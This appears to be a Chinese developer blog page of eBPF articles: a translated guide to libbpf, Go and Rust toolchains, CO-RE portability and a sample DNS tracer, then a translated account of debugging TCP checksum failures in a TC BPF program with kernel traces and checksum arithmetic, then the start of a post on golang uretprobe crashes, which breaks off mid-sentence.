Q：用于eBPF应用程序的编程语言和开发工具有哪些选择，以及每种选择的利弊是什么？ A：这将在本文的选择您的eBPF应用程序栈部分中进行讨论。 Q：我们了解eBPF的概念，但迄今为止还没有进行任何内核开发。为了有效地开发eBPF应用程序，我们需要了解内核源代码的相关部分和开发环境吗？ A：开发内核经验不是开发基于eBPF的应用程序所必需的。然而，强烈建议对内核中相关的功能领域有很好的了解。例如，当开发网络应用程序时，您应该了解与网络套接字、内核数据包路径、netfilter功能等相关的一些内核内部内容。 Q：在跨目标方式开发eBPF应用程序时，其中开发涉及多个开发系统和内核版本，同时存在多个目标系统和平台，旨在实现跨所有这些平台的可移植性和可维护性，我们需要了解哪些内容？ A：这将在本文的eBPF应用程序跨开发、可移植性、CO-RE和内核API稳定性部分中进行讨论。 Q：有哪些实际的分发eBPF程序和在单个系统中并发安装来自多个供应商的程序的操作模型？ A：在撰写本文时，这是一个新兴的开发领域。目前，eBPF程序通常被打包为较大项目中的不可分割的子组件，例如Cilium或Pixie。结合和安装多个独立的基于eBPF的应用程序可能会导致不一致或错误的行为，特别是如果在使用的eBPF附加点中存在重叠（如在最近的案例中所示）。新项目，如libxdp和bpfd，正在添加功能以解决此类操作问题。我们期望在未来的文章中更详细地介绍这些项目。 Q：上游核心eBPF开发模型是什么，我们如何跟踪仍在开发中的eBPF功能？ A：新的eBPF内核基础设施和功能是在Linux内核的“bpf-next” git存储库中开发的，最终合并到主要的Linux存储库中，作为正式的Linux内核发布的一部分。该过程在BPF开发FAQ中有更详细的描述。此外，内核BPF函数越来越多地作为kfuncs（内核函数）添加。它们提供了eBPF应用程序可以调用的API，但相对于内核BPF辅助函数的稳定性较低，后者被认为是内核ABI的一部分。正在使用的kfunc API将得到支持和维护，但不属于内核ABI。 Q：在编写eBPF应用程序时，需要注意哪些软件许可要求？ A：Linux内核eBPF运行时的组件使用GPLv2许可证。这包括参考解释器、验证器、JIT编译器和BPF助手等组件。所有kfuncs和许多（但不是全部）BPF助手都是GPL许可的，这意味着BPF应用程序通常（尽管不总是）需要以GPL-v2兼容许可证发布。请注意，没有兼容许可归属的BPF验证器将不允许加载BPF应用程序。为了启用一些宽松的下游代码重用，应用程序可以考虑使用双重许可，此外将其BPF应用程序许可为诸如MIT、BSD-2-Clause等宽松许可证。有关更多详细信息，请参阅Linux内核文档的BPF许可指南。 Q：eBPF技术是否促进或与内核数据平面卸载技术交汇？ A：对于Linux内核功能，特别是网络功能的硬件卸载到智能网卡是一个广泛的话题，涵盖了许多超出本博客范围的技术。暂时简要说明一下，您确实可以利用eBPF技术来进行硬件卸载。例如，像ConnectX-6这样的某些智能网卡支持将基于XDP的eBPF程序从主机CPU卸载到网卡上的CPU。选择您的eBPF应用程序栈在启动新的eBPF项目时，开发团队需要决定使用哪种软件栈来开发计划中的应用程序。有多种编程语言和可用的库，具有不同的成熟度和与最新内核BPF功能的特性相匹配。以下是eBPF应用程序的常见选择，也是新项目的不错选择：用户空间程序使用 C，内核空间BPF程序使用C 用户空间程序使用 Golang，内核空间BPF程序使用C 用户空间程序使用 Rust，内核空间BPF程序使用Rust 这些应用程序开发栈如图3所示。还有一种低代码选项，团队可以利用可用工具，如iproute2的tc、bpftool和bpftrace来处理计划中应用程序的用户空间和/或内核BPF程序。需要注意的一个关键点是，以这种方式列出这些选项并不排除在这些选项以及其他选项之间混合和匹配的可能性。例如，您可以使用C编写内核空间eBPF程序，然后在用户空间使用Golang或Rust编写相应的程序，通常有很多理由这样做。还有更多的选项，包括通过直接调用内核ebpf系统调用或使用像BCC这样的框架编写自己的自定义eBPF加载程序。但通常情况下，本文列出的选项将更适合新项目，我们将讨论这些选项以阐明一些核心概念。使用C和带libbpf（可选的libbpf-bootstrap）的C 这种软件栈选择通常是最全面的，支持最新的eBPF功能和工具。关于libbpf libbpf是一个C库，提供eBPF实用函数和定义，用户空间程序可以使用它来管理内核空间的eBPF程序。这个应用程序栈选项是最新的，是上游Linux源代码仓库的一部分，与最新的eBPF功能保持一致，并用于测试新的内核eBPF功能。这个库和内核BPF代码由内核开发人员共同编写、审查和测试，作为引入新的eBPF功能的一部分。libbpf还是CO-RE（Compile Once Run Everywhere）功能的官方实现，该功能在提供eBPF程序可移植性方面显著改进了开发人员的体验，后文将详细讨论。在Linux源代码仓库中，libbpf位于tools/lib/bpf。API文档可在https://libbpf.readthedocs.io/en/latest/api.html 到。与内核源代码分开维护的libbpf的镜像应该用于包含在应用程序中。该API包括一些关键的定义，如eBPF帮助函数的原型定义，用户空间类型定义以匹配相应的内核类型，并用于加载和附加程序以设置eBPF映射的函数。libbpf库于2022年中发布了1.0版本，并且正在积极开发，最近发布了1.2版本。关于libbpf-bootstrap libbpf-bootstrap是libbpf的伴随仓库之一，提供了使用libbpf功能的一组有用的模板和示例程序。这是一个快速编写用户空间程序的良好起点，该程序将与最新的eBPF功能一起使用。libbpf-bootstrap仓库还说明了使用bpftool实用程序准备eBPF骨架程序的方法。骨架是一组由用户空间程序使用的类型和函数的定义，以便轻松打开、加载、附加和销毁eBPF程序对象。建议和要点 1. 这经常是编写eBPF应用程序时的一个不错的栈选择。在我们看来，这种应用程序栈是开发团队采用的一个可靠选择，特别是如果需要使用C语言用户空间程序或者需要最新的eBPF功能，这些功能可能并不总是通过其他用户空间加载器和其他编程语言和工具的实用程序获得。举例来说，在撰写本文时，这是作者用来管理、加载和附加使用新eBPF kfuncs（内核函数）的eBPF应用程序的几个可行选项之一。 2. 在应用程序仓库中将libbpf和bpftool作为git子模块包含。我们还注意到，开发人员通常应通过将libbpf包含为其应用程序程序仓库中的Git子模块来使用libbpf。这可以确保他们始终使用libbpf的最新发布版本，而不是他们可能在开发系统上拥有的内核源代码版本，或者由Linux发行版捆绑的版本。 3. 考虑使用libbpf-bootstrap作为应用程序程序的参考仓库。在作者看来，libbpf-bootstrap是用于新的eBPF项目或基于libbpf的应用程序的参考仓库。它作为使用libbpf的最佳实践示例进行维护（例如，使用libbpf和bpftool作为Git子模块）。 Go和C与Cilium ebpf、libbpfgo 当在Golang中编写eBPF应用程序的用户空间部分时，这是一个不错的选择。例如，当eBPF应用程序的用户空间部分是Kubernetes Operator或CRD控制器时，通常会使用Golang编写。 Cilium ebpf库是一个独立的纯Golang eBPF实用工具库，独立于Cilium项目的其他应用程序，比如Cilium Kubernetes CNI插件。libbpfgo是另一个此类eBPF实用函数库，用户空间Golang应用程序可以使用它来加载eBPF对象文件（从任何语言编译而来），附加到各种eBPF钩子点等等。 libbpfgo使用围绕我们在前一节中讨论的C语言libbpf库的Golang包装器调用，因此有可能支持更多最新的核心eBPF功能。Cilium eBPF库不是libbpf库的包装器，背后的社区略显多样化（相对于libbpfgo），包括供应商Isovalent和CloudFlare。 Rust and Rust with Aya Aya是一个用于BPF应用程序开发的纯Rust库，旨在与libbpf具有功能相当。与上文描述的Cilium eBPF库类似，Aya不包含围绕C语言libbpf库的包装函数。正如前面提到的，用于eBPF内核程序的编程语言和工具链与应用程序的用户空间程序所使用的语言和工具无关。我们将在未来的一篇文章中详细描述这个选项，届时我们将介绍Aya和bpfd项目。 eBPF应用程序跨平台开发、可移植性、CO-RE和内核API稳定性最佳实践的eBPF应用程序开发从一开始就考虑了跨平台开发、可移植性和可维护性。最近的eBPF内核增强功能，比如CO-RE（编译一次，随处运行）大大改进了这一领域的开发体验。图4显示了一个支持不同开发环境和不同目标系统的开发模型。开发环境使用了前面讨论的C与libbpf。在图中，一个开发人员正在使用运行内核5.6的开发计算机，而另一位开发人员则使用内核5.10。这两位开发人员可以在两个不同的目标系统上进行测试，第一个目标系统运行带有内核5.2的Debian，而第二个目标系统运行Red Hat企业Linux，内核已升级到5.16版本。直到最近，这种开发模型无法用于eBPF应用程序，特别是那些与在内核版本之间更改的原始内核数据类型和结构进行交互的应用程序。因此，eBPF应用程序必须在加载到目标系统时即时编译（使用其他加载功能，如BCC的内置CLANG/ LLVM）以获取实际目标系统内核的内核头文件和类型信息。然而，被称为CO-RE（Compile Once Run Everywhere）的新eBPF基础架构使单个eBPF二进制对象能够在不同的内核版本上加载和运行，无需重新编译或复杂的解决方法。请参考本文及其附带的CO-RE指南，其中提供了有关CO-RE和开发人员最佳实践的出色详细信息。推荐和要点 1. 在可能的情况下，使用支持CO-RE的eBPF加载器，该加载器支持基于内核数据类型的重定位能力。本文前一节中讨论的3种应用程序堆栈选项都支持CO-RE。其他eBPF加载器选项，如BCC框架，目前不支持CO-RE。 2. 遵循CO-RE最佳实践。这包括使用编译器/Clang属性，例如__attribute__((preserve_access_index))，以确保eBPF程序使用的内核数据类型的可重定位性，使用诸如BPF_CORE_READ()宏之类的助手，以有效地访问内核数据，即使有多层指针间接引用，以及使用CO-RE功能来以编程方式检测内核版本和内核配置信息，以处理更复杂的内核数据类型更改，如CO-RE指南中所述。 3. 考虑使用 vmlinux.h 来简化包含头文件，而不是开发系统中打包的内核头文件。 vmlinux.h文件是可以通过bpftool工具生成的文件，用于包括内核映像中的所有数据类型。这是一个方便的单个头文件，供eBPF程序从中包括，而不是一组广泛而有些特殊的内核头文件，可能会因开发人员的系统而异。我们建议创建此文件的精简版本，只包括应用程序实际需要的内核定义。这可以确保：与目标内核版本的数据类型保持一致可以充分利用CO-RE重定位具有适当大小的头文件，更容易维护 4. 针对所有目标内核版本和相关子系统配置测试eBPF应用程序。即使遵循所有CO-RE最佳实践，也很重要测试任何eBPF应用程序，测试所有或一组宽泛的内核版本以及相关内核子系统和模块配置的变化，以确保在所有目标部署中具有完全的可移植性和正确性。 5. 确定应用程序所需的最低内核版本。首先，阅读BPF功能文档，以确定包含所需功能的内核版本范围。例如： cgroup/connect4程序支持是在4.17中添加的。 BPF有界循环是在5.3中添加的。然后，您可以选择编写您的应用程序，仅使用内核版本中可用的eBPF函数，或者使用BPF功能探测来在运行时检测功能的可用性。您的BPF程序可以检查内核版本： #include <bpf/bpf_helpers.h> extern int LINUX_KERNEL_VERSION __kconfig; int probe_kernel() { if (LINUX_KERNEL_VERSION > KERNEL_VERSION(4, 18, 0)) { /* 我们在支持的内核版本上 */ } else { /* 记录错误并优雅退出 */ } ... } 您的BPF程序还可以探测单个内核功能或结构定义： extern bool CONFIG_LWTUNNEL_BPF __kconfig __weak; if (CONFIG_LWTUNNEL_BPF) { /* 从BPF配置lwtunnel */ } if (bpf_core_type_exists(struct bpf_ringbuf)) { /* 使用ringbuf而不是perf缓冲区 */ } 运行中的BPF程序的架构下图显示了用户空间应用程序及其嵌入式BPF程序的视图。该应用程序链接到libbpf，libbpf代表应用程序创建BPF映射并加载程序。在此图中，我们可以看到BPF程序连接到网络数据路径中的tc钩子。用户空间应用程序和BPF程序共享访问由内核中的BPF子系统管理的映射。BPF程序还使用助手函数从其他内核子系统中访问数据。使用libbpf的C应用程序示例这里讨论的主题最好通过示例应用程序来演示。我们将使用DNS跟踪实用程序来突出显示主要要点。 libbpf-bootstrap为使用libbpf的C项目提供了一个很好的起点。在这里，我们通过复制libbpf-bootstrap的Makefile和项目布局，并根据自己的需求进行调整，创建了一个dns-trace实用程序项目： . ├── Makefile ├── dns-trace.bpf.c # BPF代码 ├── dns-trace.c # 用户空间代码 ├── dns-trace.h # 共享定义 ├── libbpf # libbpf git子模块 └── .output ├── dns-trace.skel.h # 骨架，由bpftool生成 └── vmlinux.h # 所有内核类型定义，由bpftool生成共享定义 dns-trace实用程序有一个BPF部分，用于拦截DNS数据包，以及一个用户空间部分，用于解码DNS消息并报告各种指标。BPF程序捕获的数据以事件流的形式通过BPF环形缓冲区发送到用户空间程序。struct dns_event在BPF和用户空间程序中都被使用。请注意确保类型定义对两个编译单元都可以解析。用户空间程序使用系统头文件，包括UAPI导出的内核类型，如__u32和libbpf头文件。 BPF程序也在包括生成的<vmlinux.h>时具有访问UAPI导出的内核类型的能力，同时还包括了所有内核类型定义。任何要包括在两个编译单元中的结构都需要使用UAPI导出的内核类型并避免内核的内部类型定义。 struct dns_event { __u64 duration; char ifname[IFNAMSIZ]; __u32 srcip; __u32 dstip; __u16 length; unsigned char payload[MAXMSG]; __u16 id; __u16 flags; }; 访问内核数据结构 BPF程序连接到net_dev_queue内核跟踪点，以拦截主机上运行的任何程序发送或接收的所有数据包。跟踪点上下文包括一个指向保存数据包数据的struct sk_buff的指针。我们只对访问sk_buff->data和sk_buff->len字段感兴趣，因此我们可以使用CO-RE来访问它们。BPF程序定义了自己的struct sk_buff的私有版本，其中只包含我们需要的字段。该结构使用preserve_access_index属性进行注释，以便在加载BPF程序时进行CO-RE重定位。 struct sk_buff { unsigned char *data; unsigned int len; } __attribute__((preserve_access_index)); struct trace_event_raw_net_dev_template { struct sk_buff *skbaddr; } __attribute__((preserve_access_index)); 此项目本地的struct sk_buff定义清晰地说明了我们实际需要的结构的子集。C代码使用BPF_CORE_READ()宏来访问struct sk_buff字段，再次在加载BPF程序时启用CO-RE重定位到运行的内核。 SEC("tracepoint/net/net_dev_queue") int trace_net_packets(struct trace_event_raw_net_dev_template *ctx) { unsigned char *data = BPF_CORE_READ(ctx, skbaddr, data); unsigned int len = BPF_CORE_READ(ctx, skbaddr, len); do_trace(data, len); return BPF_OK; } 用户空间应用程序用户空间应用程序通过生成的BPF程序骨架使用libbpf来加载BPF程序并访问BPF程序中定义的映射。骨架由项目Makefile中的bpftool gen skeleton生成。骨架派生自BPF程序，因此所有映射应该在BPF C代码中定义，然后通过用户空间代码中的骨架访问器引用。生成的骨架提供了加载BPF代码和附加BPF程序的函数： /* Load and verify BPF object file */ skel = dns_trace_bpf__open(); if (!skel) { fprintf(stderr, "Failed to open and load BPF skeleton\n"); return 1; } /* Load & verify BPF programs */ err = dns_trace_bpf__load(skel); if (err) { fprintf(stderr, "Failed to load and verify BPF skeleton\n"); goto cleanup; } /* Attach tracepoints */ err = dns_trace_bpf__attach(skel); if (err) { fprintf(stderr, "Failed to attach BPF skeleton\n"); goto cleanup; } 从用户空间程序中设置和轮询BPF环形缓冲区所需的代码非常少： struct ring_buffer* ringbuf = ring_buffer__new(bpf_map__fd(skel->maps.dns_events), process_event, NULL, NULL); while (!exiting) { ring_buffer__poll(ringbuf, 100); } 应用程序使用与BPF程序共享的struct dns_event定义从BPF程序的环形缓冲区接收事件。 eBPF文档体系 BPF子系统和支持库拥有大量文档资源，但它们分散在不同的位置。以下是一些有用的链接，可帮助您访问最相关的文档： eBPF Foundation: eBPF文档内核文档: BPF文档, BPF映射, 程序类型, BPF kfuncs 手册页: bpf-helpers, bpftool 库文档: libbpf, libxdp, Aya, Cilium ebpf 参考博客: BPF CO-RE参考指南示例: libbpf-bootstrap, 实用BPF示例需要注意的是，BPF领域没有单一的权威指南，而且仍有很多未记录的知识。 eBPF术语 BTF： BPF类型格式是一种用于存储有关Linux内核或BPF程序类型信息的紧凑编码。它用于通过BPF CO-RE实现BPF程序的可移植性。 CO-RE： BPF CO-RE（编译一次，到处运行）使得编写可在多个内核版本上运行的可移植BPF应用程序成为可能，无需修改或重新编译目标机器。内核用户空间API（UAPI）： UAPI是内核和用户空间之间的接口，由系统调用、头文件、sysfs、procfs、BPF辅助函数等组成。译者注原文来自 RedHat的博客 BPF application development: Beyond the basics 本文为机翻+人工矫正。笔者的eCapture项目，用户空间加载器使用ebpfmanager类库，包装了cilium/ebpf类库，也是纯Go的加载器。在这里也推荐给大家。

2023-10-24

1 0

eBPF挂钩TC egress时，被TCP Checksum搞死了

eBPF挂钩TC egress时，被TCP Checksum搞死了

译者注我最近也在尝试用eBPF TC类型程序，挂钩egress网络包，修改IP包、TCP包内容，实现路由跟踪的功能。除了eBPF验证器的奇葩问题外，剩下的就是skb_buff修改后，被客户端内核丢弃、中间路由丢弃、服务端内核丢弃的各种问题，头发那是一把一把的掉。幸运的是，我找到了这篇文章Checksum-or-fxxk-up，写的特别好。看标题就知道作者被折腾不清，这点我感同身受。 TL;DR 如果你不想自讨苦吃，就千万别对checksum进行任何不当操作。但如果你想看到一个反面教材，继续阅读这篇由我这个不称职的人写的记录。背景我有一个挂钩在 ingress TC BPF程序，可以修改某些传入数据包的IP头部和TCP标志中的几个位。它在功能上表现得非常出色。直到... dmesg 异常日志在测试程序时，在dmesg中发现了以下消息： [1216218.835883] <unknown>: hw csum failure [1216218.843767] CPU: 11 PID: 3627719 Comm: ThriftIO15 Not tainted 4.16.18-210_fbk23_5358_gf2838c074351 #210 [1216218.862917] Hardware name: Quanta Twin Lakes MP/Twin Lakes Passive MP, BIOS F09_3A12 10/08/2018 [1216218.880669] Call Trace: [1216218.885910] <IRQ> [1216218.890287] dump_stack+0x46/0x68 [1216218.897272] __skb_checksum_complete+0xb0/0xc0 [1216218.906516] tcp_v6_do_rcv+0x12b/0x3d0 [1216218.914370] tcp_v6_rcv+0xad0/0xb00 [1216218.921701] ip6_input_finish+0xbf/0x460 [1216218.929903] ip6_input+0x80/0x90 [1216218.936714] ipv6_rcv+0x358/0x4c0 [1216218.943698] ? tcf_classify+0x87/0x120 [1216218.951551] __netif_receive_skb_core+0x541/0xa40 [1216218.961315] netif_receive_skb_internal+0x24/0xb0 [1216218.971080] napi_gro_receive+0xba/0xe0 [1216218.979105] mlx5e_handle_rx_cqe+0x83/0xd0 [1216218.987649] mlx5e_poll_rx_cq+0xc8/0x920 [1216218.995840] mlx5e_napi_poll+0xa1/0xc30 [1216219.003866] net_rx_action+0x128/0x340 [1216219.011718] __do_softirq+0xd4/0x2ad [1216219.019219] irq_exit+0xa5/0xb0 [1216219.025850] do_IRQ+0x7d/0xc0 [1216219.032132] common_interrupt+0xf/0xf [1216219.039798] </IRQ> 我是如何陷入checksum深渊的。根因与解决方案这条消息显示出现了checksum错误。我让tcpdump重新检查，但他说checksum是正确的。然后我意识到入口TC BPF程序在tcpdump之后、内核接收数据包之前运行。这可以解释为什么tcpdump在checksum方面没有问题，而内核却报错。根本原因很明确：入口BPF程序在TCP/IP头部篡改了位，但没有修复checksum。解决方案似乎也很简单：修复checksum就好了。嗯，我将为我们节省一些时间，不再抱怨在一大堆与checksum相关的API中查找解决方案时的痛苦，比如bpf_l3_csum_replace、bpf_l4_csum_replace、bpf_csum_diff和bpf_csum_update。更令人沮丧的是，最后一个简单的BPF_F_RECOMPUTE_CSUM标志传递给bpf_skb_store_bytes（用于修改位）就解决了问题。 checksum工作原理在深入了解更多细节之前，让我们来看看checksum的工作原理。下面的图示非常好地阐述了这一点。（图片版权：Error Detection in Computer Networks）为了避免混淆，在这篇文章中，我将使用术语“csum”来指代上图中的“sum”，并使用术语“checksum”来指代“csum”的1's补码。正如你所看到的，只要数据没有被篡改，~(csum + checksum) == 0。还有一个谜题在调试过程中，我发现了一件有趣的事情 - 尽管错误被打印出来，但数据包并没有被丢弃，因此处理过程继续进行。为什么会这样呢？由于上面的堆栈跟踪中没有显示某些内联函数，所以我将在这里“展开”调用堆栈的逻辑： tcp_v6_do_rcv() { // Checking checksum is unnecessary if (skb_csum_unnecessary(skb)) { nothing; } else { // Re-do checksum for whole skb csum = skb_checksum(skb, 0, skb->len, 0); // Check csum against skb->csum. If skb is intact, sum should be 0 sum = csum_fold(csum_add(skb->csum, csum)); if (sum == 0) Print "hw csum failure" to dmesg and dump stack trace else Checksum fails, throw the skb away } // Continue processing skb } 当打印错误时，必须满足以下条件： skb_csum_unnecessary返回false。如果我们计算skb的checksum并将其与skb->csum进行比较，应该通过。也就是说，csum_add(skb->csum, skb_checksum(skb))应该返回零。当skb_csum_unnecessary返回false时，意味着skb->csum_valid为false，这反过来又意味着在skb_checksum_init期间未将skb->csum_valid设置为1。这是因为原始的skb->csum和psum不相加得到零。还要注意，在skb_checksum_init之后，将skb->csum设置为psum。说人话就是：如果我正在运行，则表示检查硬件（NIC）提供的 skb-> csum 与 psm (稍后会讨论) 的一致性检查失败了。去你妈的硬件！（打印错误）但你知道吗？我重新计算了 skb 的checksum，并且它确实正确无误。让我们忘记硬件错误继续前进吧！毫无疑问，硬件是清白的，罪魁祸首是我的 BPF 程序。所以即使数据包没有被丢弃，并且连接没有受到影响，我仍然修复了有罪的 BPF 程序来证明硬件的清白。当我庆祝又一个结案时，我不知道罪犯正在干什么。 checksum又TM搞事情？在部署BPF程序时，我发现一旦程序被attach，InCsumErrors就会不断增加。 $ netstat -s | grep InCsumErrors InCsumErrors: 101 继续调试我不能谈论内核调试而不提到我的好朋友 - bpftrace。这一次，再次借助它的帮助，我能够将问题缩小到以下堆栈： __skb_checksum_complete+1 tcp_v6_do_rcv+293 tcp_v6_rcv+2762 ip6_input_finish+186 ip6_input+128 ipv6_rcv+853 __netif_receive_skb_core+1312 netif_receive_skb_internal+36 napi_gro_receive+183 mlx5e_handle_rx_cqe+125 mlx5e_poll_rx_cq+194 mlx5e_napi_poll+161 net_rx_action+290 __softirqentry_text_start+207 irq_exit+165 do_IRQ+119 ret_from_intr+0 cpuidle_enter_state+176 do_idle+260 cpu_startup_entry+25 secondary_startup_64+165 堆栈与之前的问题相同。然而，这次在dmesg中没有错误消息，并且数据包被丢弃，导致了重传。在tcpdump中，我看到的是以下序列：一个TCP SYN数据包到达，但没有收到SYN-ACK。一秒钟后，重新发送的SYN数据包到达并收到了SYN-ACK。连接成功建立。老天保佑在浏览内核代码数小时后，我决定采用一种不太科学但有效的调试方法 - 尝试不同的事物，希望能找到一个可行的解决方案，并祈求上天提高成功率。然后我注意到问题只发生在修改TCP头部时。即使使用BPF_F_RECOMPUTE_CSUM在修改后相应地修复了skb->csum。我决定看一下如果在修改TCP头部后不修复skb->csum会发生什么。而且，令人惊讶的是，它起作用了！以下表格显示了我尝试过的事情及其结果：至少有两个问题出现在这个表格中：如果不重新计算IP头部更改的checksum，为什么会出现hw csum failure？如果重新计算TCP头部更改的checksum，为什么会出现TcpInCsumErrors？下一个目标是回答这两个问题，并确保我发现了解决方案而不是巧合。寻找答案 TcpInCsumErrors错误发生是因为skb_checksum_init返回非零值。调用堆栈有点复杂。所以让我们再次简化逻辑（省略了无关的代码）。这是我见过的最复杂的代码之一。我在上述代码中标记了两个错误情况。我们需要非常小心地处理逻辑，以避免在处理checksum时出现这两个错误。 ip6_compute_pseudo 是什么？它计算 TCP 伪头部的checksum。结果就是我们之前看到的 psum。(图片来源：[TCP Checksum Calculation and the TCP "Pseudo Header"](http://www.tcpipguide.com/free/t_TCPChecksumCalculationandtheTCPPseudoHeader-2.htm "TCP Checksum Calculation and the TCP "Pseudo Header"")) 触发“hw csum failure”的条件如下： ~(psum + skb->csum) != 0，即检查skb->csum与psum的校验失败。 ~(skb_checksum(skb, 0, skb->len, 0) + psum) == 0，即对skb新计算的checksum与psum进行校验通过。触发“TcpInCsumErrors”的条件如下： ~(psum + skb->csum) != 0，即检查skb的checksum与psum的校验失败。 ~((skb_checksum(skb, 0, skb->len, 0) + psum) != 0，即对skb新计算的checksum与psum进行校验也失败。有些奇怪你可能注意到了一些奇怪的地方。skb->csum与psum（伪头部的checksum）进行了比较。为什么会这样呢？难道不应该使用类似于~(skb->csum + checksum(skb)) == 0这样的方式，将其与整个skb的checksum进行比较吗？我会尽力解释一下。关键在于，就像上面显示的图表所示，TCP头部也有一个checksum。计算TCP头部checksum的公式是 tcp_hdr_checksum = ~(pseudo_hdr + tcp_hdr_with_checksum_0) 注意：我将使用“+”来表示“csum add”，这个算法将展示“checksum是如何工作的？”部分的图表中。 payload被故意省略，因为它并不重要。 skb->csum 是由NIC使用整个数据包计算得出的16位checksum。即， skb->csum = ip_hdr + tcp_hdr 注意：在进行csum add时，IP头和TCP头都会被切片，然后将它们的16位块相加/折叠在一起。因为IP头、伪头部和TCP头都是16位对齐的，所以这两个公式可以重新写成 tcp_hdr_checksum = ~(pseudo_hdr_0_15 + pseudo_hdr_16_31 + ... + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + 0x0000 (checksum) + ...) 如果我们在两边都进行~操作，我们得到 ~tcp_hdr_checksum = pseudo_hdr_0_15 + pseudo_hdr_16_31 + ... + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + 0x0000 (checksum) + ... 然后我们在两端添加tcp_hdr_checksum： ~tcp_hdr_checksum + tcp_hdr_checksum = pseudo_hdr_0_15 + pseudo_hdr_16_31 + ... + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... 因为我们知道 ~tcp_hdr_checksum + tcp_hdr_checksum = 0xFFFF。所以 pseudo_hdr_0_15 + pseudo_hdr_16_31 + ... + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = 0xFFFF 因此 tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = 0xFFFF - (pseudo_hdr_0_15 + pseudo_hdr_16_31 + ... ) = 0xFFFF - psum 我们可以将这个插入到skb->csum中。 skb->csum = ip_hdr_0_15 + ip_hdr_16_31 + ... + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = ip_hdr_0_15 + ip_hdr_16_31 + ... + 0xFFFF - psum 记住这个公式，我会回答上面的两个问题。为什么在不重新计算IP头更改的情况下会出现“hw csum failure”？（为简单起见，假设TCP头部未被修改。）在内核网络堆栈中，在处理IP头部之后，它的checksum会从skb->csum中提取出来或者减去。然后skb->csum就变成了 skb->csum = (ip_hdr_0_15 + ip_hdr_16_31 + ... + 0xFFFF - psum) - (ip_hdr_0_15 + ip_hdr_16_31 + ...) = 0xFFFF - psum 现在我们知道为什么在skb_checksum_init函数中，要将skb->csum与psum进行比较 - 因为它是公式中唯一剩下的变量。然而，如果IP头部发生了改变（比如说，ip_hdr_16_31中的几个位被翻转），但是skb->csum没有相应地改变，那么它就会变成这样。 skb->csum = skb->csum - (ip_hdr_0_15 + ip_hdr_16_31 + ...) = (ip_hdr_16_31 - ip_hdr_16_31) + 0xFFFF - psum 第一个条件 ~(psum + skb->csum) != 0或者(psum + skb->csum) != 0xFFFF。而数学计算如下： psum + skb->csum = psum + (ip_hdr_16_31 - ip_hdr_16_31) + 0xFFFF - psum = (ip_hdr_16_31 - ip_hdr_16_31) + 0xFFFF 结果显然不是0xFFFF。因此第一个条件已满足。第二个条件 ~(skb_checksum(skb, 0, skb->len, 0) + psum) == 0或者skb_checksum(skb, 0, skb->len, 0) + psum == 0xFFFF。 skb_checksum(skb, 0, skb->len, 0) 是用于重新计算 skb 的checksum，此时 skb 只包含 TCP 头部。这将会 skb_checksum(skb, 0, skb->len, 0) = tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = 0xFFFF - psum 因此 skb_checksum(skb, 0, skb->len, 0) + psum = 0xFFFF - psum + psum = 0xFFFF 第二个条件也得到满足。问题已经得到回答。为什么在重新计算TCP头部checksum时会出现“TcpInCsumErrors”？（为简单起见，假设TCP头未被更改。）请注意，当我们使用BPF_F_RECOMPUTE_CSUM时，它只会更新skb->csum而不会更新tcp_hdr_checksum。假设tcp_hdr_0_15中的几个位被翻转了。当调用skb_checksum_init时，实际上是在使用skb->csum。 skb->csum = tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = tcp_hdr_0_15 - tcp_hdr_0_15 + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = tcp_hdr_0_15 - tcp_hdr_0_15 + 0xFFFF - psum 第一个条件 “TcpInCsumErrors”的判断条件为~(psum + skb->csum) != 0 或者 (psum + skb->csum) != 0xFFFF。所以数学计算如下： psum + skb->csum = psum + tcp_hdr_0_15 - tcp_hdr_0_15 + 0xFFFF - psum = tcp_hdr_0_15 - tcp_hdr_0_15 + 0xFFFF 结果显然不是0xFFFF。因此第一个条件已满足。第二个条件 “TcpInCsumErrors”的~(skb_checksum(skb, 0, skb->len, 0) + psum) != 0或者skb_checksum(skb, 0, skb->len, 0) + psum != 0xFFFF。 skb_checksum(skb, 0, skb->len, 0) 是重新计算 skb 的checksum。它将与 skb->csum 相同，因此数学上与第一个条件相同。换句话说，第二个条件也满足。正如你所看到的，如果我们在更新tcp_hdr_0_15时不修复skb->csum，那么第一个条件将无法满足，代码将直接从快乐结局路径返回。等一下，这不是一个黑客行为吗？是的，我同意。更新TCP头部但不更新其checksum和skb->csum听起来像个黑客行为。另一种选择是：更新TCP头部中的位。更新skb->csum以反映位变化。更新TCP校验字段以反映位变化。更新skb->csum以反映TCP checksum的变化。通过这种方式，TCP头部的差异和TCP checksum的差异相互抵消。数学计算如下： skb->csum = tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum + ... = tcp_hdr_0_15 - tcp_hdr_0_15 + tcp_hdr_0_15 + tcp_hdr_16_31 + ... + tcp_hdr_checksum - tcp_hdr_checksum + tcp_hdr_checksum + ... = (tcp_hdr_0_15 - tcp_hdr_0_15) + (tcp_hdr_checksum - tcp_hdr_checksum) + 0xFFFF - psum = 0xFFFF - psum 既然结果与根本不触碰skb->csum相同，为什么不直接使用这个技巧呢？要点如果可以的话，请不要搞乱checksum。发明checksum的人是一个天才。我是个傻X。

2023-07-24 0 0

golang uretprobe的崩溃与模拟实现

golang uretprobe的崩溃与模拟实现

前言在eCapture最初支持golang的https明文捕获时，是不支持request\response完整的匹配的。这点不同于C语言编写的程序，是因为golang的uretprobe类型钩子有个较为致命的bug，会导致被挂载进程崩溃，这问题在BCC社区也有讨论过：Go crash with uretprobe #1320，火焰图作者brendangregg也提到，在他的一篇博客里，用户评论如下： Another problem I ran into: the uretprobe seems to place the return probes by modifying the stack, which is in conflict with how Go manages stack (stacks in Go can grow/shrink at anytime, it does so by copying entire stack to a new larger area, adjusting the pointers in the stack to point to new area etc). So if we are doing a uretprobe, and stack happens to grow (or shrink) at that time, it can lead Go runtime panics. Please see here for an example panic message:go.stp#L32-L58 也就是说 